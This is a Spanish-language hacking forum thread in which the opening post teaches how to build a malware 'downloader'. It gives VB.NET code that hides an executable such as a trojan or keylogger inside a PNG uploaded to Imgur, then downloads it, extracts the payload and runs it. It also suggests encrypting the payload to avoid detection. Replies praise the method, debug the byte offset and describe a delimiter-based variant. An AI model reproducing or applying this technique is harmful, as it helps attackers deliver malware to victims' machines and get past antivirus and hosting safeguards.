Underc0de

[In]Seguridad Informática => Análisis y desarrollo de malwares => Tutoriales y Manuales de Malwares => Mensaje iniciado por: fudmario en Enero 01, 2016, 12:12:09 PM

Título: Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: fudmario en Enero 01, 2016, 12:12:09 PM
Casi siempre me pregunta por SKYPE, si conozco algun hosting de descarga directa que no detecte los antivirus, para subir malware, por lo general siempre respondo: "NO, no conozco ninguno, pero puedes usar cualquier Hosting xD", asi que hoy les voy a mostrar como usar cualquier hosting para subir malware.

Hoy hablaremos sobre un tipo de malware llamado: Downloader.

¿Qué es un Downloader?

CitarEste tipo de malware lo que hace es descarga en secreto archivos maliciosos desde un servidor remoto, para posteriormente ejecutarlo,instalar software malicioso en el Sistema.
CitarBasicamente lo que hace es descargar malware(troyanos,keyloggers,...,etc.) subido en algun hosting, generalmente se usan hosting de descarga directa(ej: http://descargadirecta.cc/d/trojan.exe) o en algunos casos suben a servidores tipo Pastebin, paste.ee o similares previamente codificado (El problema principal de estos hosting de descarga directa es que son detectados por los AntiVirus.).


Ya sabiendo que es y como funciona, voy a explicar como crear uno (No es muy complicado en realidad es muy sencillo):
Para este proposito usaremos un hosting que permite subir Imagenes llamado "Imgur", si, si Imgur...xD un servidor web que nos permite el almacenamiento de Imagenes.

Subir directamente cambiando de extension a un ejecutable(por un .jpg o .png) no funcionará debido a sus medidas de proteccion que usa para subir imagenes en IMGUR.

(http://i.imgur.com/F1bwVGZ.png)
(http://i.imgur.com/OcnZLDz.png)

Lo que haremos será unir: "imagen + ejecutable",sencillo no?, con eso ya tendriamos solucionado el tema de subir sin problemas el malware, 

El lenguaje de programacion que elijan  para crearlo es indistinto, yo lo haré en VB.NET.

Para unir : "Imagen + Server", lo haremos de la siguiente forma:


Código (vbnet) [Seleccionar]
Dim imgbytes As Byte() = IO.File.ReadAllBytes("D:\img.png") ' Leemos el contenido de la Imagen
        Dim serverbytes As Byte() = IO.File.ReadAllBytes("D:\Anotador.exe") ' Leemos el Contenido del Malware(troyanos, keylogger,....etc)
        Using fs As New IO.FileStream("tmp.png", IO.FileMode.Create) ' Comenzaremos a escribir nuestra nueva imagen con la Imagen Inicial + Server.
            fs.Write(imgbytes, 0, imgbytes.Length)
            fs.Write(serverbytes, 0, serverbytes.Length)
        End Using
        MessageBox.Show("Done!!!")


Subimos la Imagen al Imgur:

(http://i.imgur.com/hsxAhai.png)

Para Descargar el Server, lo haremos de la siguiente manera:

Código (vbnet) [Seleccionar]
Dim imgbytes As Byte() ' Variable para almacenar la imagen
Const imgSize As Integer = 17083   ' Tamaño de la Imagen Inicial
Using wc As New Net.WebClient()
    imgbytes = wc.DownloadData("http://i.imgur.com/6TZKG9q.png")
    Using ms As New IO.MemoryStream(imgbytes, imgSize, imgbytes.Length - imgSize) 'Aqui obtenemos el tamaño del malware, separando de la imagen Inicial.
        ' Aqui se puede hacer cualquier cosa, droppear el archivo en Disco/
        ' IO.File.WriteAllBytes("D:\Test1.exe", ms.ToArray)
        ' Process.Start("D:\Test1.exe")
    End Using
End Using


Algunas cosas que debes considerar:

Si vemos con algun editor Hexadecimal, veremos que se puede ver el ejecutable, una opcion es cifrar el archivo.

(http://i.imgur.com/6HJpYhX.png)


Pues nada cualquier duda comentar en el hilo, Mensaje Privado o  por Skype.


Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: blackdrake en Enero 02, 2016, 11:49:28 AM
Como siempre, un grandísimo aporte @fudmario (http://underc0de.org/foro/index.php?action=profile;u=30119), estoy seguro de que muchos usuarios seguirán tu "consejo" de utilizar un downloader.

Saludos.
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: Juan en Enero 02, 2016, 11:55:05 AM
Es interesante Mario. Enhorabuena ;)
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: ANTRAX en Enero 02, 2016, 12:30:01 PM
Muy muy bueno bro! Felicitaciones por el aporte @fudmario (http://underc0de.org/foro/index.php?action=profile;u=30119) !

Saludos!
ANTRAX
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: Stiuvert en Enero 02, 2016, 01:54:37 PM
¡Excelente aporte! No sabía esa forma de adjuntar una imagen al ejecutable... +c0in

Saludos
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: Gabriela en Enero 02, 2016, 03:04:15 PM
 
@fudmario (http://underc0de.org/foro/index.php?action=profile;u=30119)

Hay gente que tiene arte para explicar. Este post tuyo es prueba de ello.
Gracias por el estupendo aporte!!

Gabi

Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: ignacio8888 en Enero 02, 2016, 07:07:15 PM
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: fudmario en Enero 03, 2016, 11:00:16 AM
Gracias a todos por Comentar...xD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es interesante Mario. Enhorabuena ;)

No soy mario, es mejor fudmario....xD


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Tengo una duda, mas que duda es una pregunta: cuál sería el equivalente Net.Webclient en php? o sería igual a lo siguiente:
header ("Content-Disposition: attachment; filename=$enlace ");
header ("Content-Type: application/force-download");
header ("Content-Length: ".filesize($enlace));
readfile($enlace);
porque no conozco mucho de visual net.
Desde ya, muchas gracias.
Yo tampoco conozco mucho de PHP, pero el metodo DownloadData de la Clase System.Net.WebClient lo que hace es descargar el contenido de la imagen en una matriz de bytes, no sabria decirte cual es la mejor forma de hacerlo en PHP, talvez podrias hacerlo con: "file_get_contents"


Saludos,.
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: MagoAstral en Enero 03, 2016, 01:12:17 PM
Siempre me gustó tu ingenio fudmario, te felicito por el aporte me parece una técnica muy interesante la cual podríamos extrapolar a otro tipo de ficheros.
Un saludo
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: kastrohack en Enero 09, 2016, 09:19:23 PM
hola
lo primeo gracias por el tuto
he seguido los pasos pero me da un error
(https://i.gyazo.com/b7fbc16f603dd9b3bc7590e46d913a3b.png)

Creo tener mas o menos localizado donde esta el fallo, ya que el binario que use, en este caso un anotador no pesa lo mismo al principio y al final
(https://i.gyazo.com/162d91ededfb5b18a035de8e9930fbff.png)

en el code, el peso de la imagen que he usado es este 4825
(https://i.gyazo.com/3d3417a3a7938b27e075d98f74d1f4f1.png)

yo creo que el fallo tiene que estar ahi, ya que al separarlo es como si la imagen hubiese comido bytes al binario ya que ni siquiera empieza por MZ (viendo en hex)

---------------------------------------------EDIT----------------------------------------------
He probado otra imagen y ya funciona.
saludos
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: Hu3c0 en Enero 11, 2016, 05:23:05 AM
Te voy a dar mi opinión creo que el problema lo tienes con el pointer, me explico si te fijas en el código que fudmario a compartido le dice los bytes de la imagen original Const imgSize As Integer = 17083 , comprueba antes de hacer el join los bytes de la imagen, después introducelos en el código y compilas.

Para que lo comprendas cuando se ejecuta el downloader lo que hace es colocar el pointer  a partir de esos bytes para leer el binario es evidente que si tu imagen pesa 15000+1500 del ejecutable el programa te va a dar error porque el pointer busca a partir de una posición que no existe.

Cuando cree el hermesdownloader lo que hice fue añadir un delimitador al final de la imagen ejemplo Underc0de.org entonces el downloader buscaba ese delimitador cuando lo detectaba metía en una variable el pointer desde donde empezaba a leer el binario, esto lo hacía desde Java con RandomAccesFile.

Resumiendo lo que debes decirle al programa es a partir de donde tiene que empezar a leer el binario sino transferirá bytes innecesarios o se quedará corto.

Espero te sirva
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: angrymasther en Febrero 13, 2018, 05:53:42 PM
¡Buenas! Me surge una pregunta relacionada con el post, en caso de necesitar actualizar un malware (por poner un ejemplo de cuando usar un downloader xD) ¿No se supone que ya tienes un servidor desde el que se descargó este? Me refiero, ¿Para que subirlo a otro lugar? No sería más sencillo simplemente ponerlo en el mismo servidor e ir descargándolo directamente. A demás el ponerlo desde la imagen crea la necesidad (al menos como lo haría yo) de añadir código para ejecutar solo el código (dejando la parte original de la imagen a parte).

Corregirme si me equivoco, que lo más seguro es que si XDD.
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: ph03n1x en Abril 13, 2020, 03:44:07 AM
Al día de hoy esto no funciona, imgur me borra la parte que corresponde al binario del ejecutable.
Título: Re:Downloader, ¿Qué es?, ¿Cómo Crearlo? by fudmario
Publicado por: b3l3r0f0nt3 en Abril 13, 2020, 04:08:51 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Al día de hoy esto no funciona, imgur me borra la parte que corresponde al binario del ejecutable.

A día de hoy revives un tema de 2016. Normal que pueda haber dejado de funcionar.

Un saludo.